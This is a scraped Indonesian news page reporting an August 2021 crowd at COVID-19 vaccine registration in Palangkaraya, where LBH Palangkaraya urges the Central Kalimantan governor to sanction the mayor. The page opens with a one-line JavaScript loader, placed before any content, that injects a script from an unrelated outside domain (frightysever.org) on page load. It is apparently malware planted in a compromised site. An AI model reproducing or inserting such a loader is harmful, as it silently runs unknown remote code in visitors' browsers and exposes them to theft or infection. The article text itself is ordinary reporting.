(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Imbas Kerumunan, LBH Palangkaraya Minta Gubernur Kalteng Beri Sanksi ke Wali Kota


KANALKALIMANTAN.COM, PALANGKARAYA – Kerumunan saat pendaftaran vaksinasi Covid-19 di Pos Polisi Bundaran Besar Kota Palangkaraya, Rabu (4/8/2021) malam menjadi sorotan nasional. Terkait kasus ini, Ketua Lembaga Bantuan Hukum (LBH) Palangkaraya, Aryo Nugroho Waluyo menilai telah terjadi pelanggaran dari instruksi Gubernur Kalteng terkait pelaksanaan PPKM

.
“Selain bentuk pelanggaran Ingub itu sendiri dan yang paling penting adalah membahayakan bagi masyarakat,” kata Aryo kepada Kanalkalimantan.com, Kamis (5/8/2021).

 

 

Baca juga: 10 Hari PPKM di Kalsel Belum ‘Pangkas’ Laju Covid-19, Hari Ini Tambah 876 Kasus Positif

Menyikapi hal tersebut, pihaknya meminta Gubernur Kalteng memberikan sanksi kepada Wali Kota Palangkaraya. Mengingat pada bagian 20 huruf a, menyatakan bupati/wali kota tidak melaksanakan ketentuan sebagaimana dimaksud dalam instruksi gubernur ini.

Gubernur sebagai wakil pemerintah, pusat memberi sanksi sebagaimana diatur dalam Pasal 67- Pasal 78 Undang-Undang nomor 23 Tahun 2014 tentang Pemerintahan Daerah.

“Gubernur harus memastikan adanya tindakan korektif secara menyeluruh terkait penanganan Covid-19 di Provinsi Kalimantan Tengah khususnya dengan pemberian vaksin gratis kepada masyarakat,” terangnya.

Baca juga: Ada Potensi Pelanggaran Pada Vaksinasi Tahap 2 di GOR Hasanudin Banjarmasin

Adapun langkah-langkah yang dilakukan yakni mengubah kebijakan pendaftaran pemberian vaksin dengan cara yang tidak menimbulkan kerumunan bagi masyarakat.

Baik dengan cara online dan memperdayakan aparat pemerintah di tingkat desa dan kelurahan sampai pada level RT untuk mendata warga yang ingin di vaksin.
Kemudian memastikan distribusi vaksin secara gratis keseluruh masyarakat Kalimantan Tengah dengan target tercapainya Herd Imummnity di masyarakat yaitu 70 persen sesuai ketentuan World Health Organization (WHO) dari total masyarakat Kalteng. (kanalkalimantan.com/tri)

Reporter: tri
Editor: cell 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.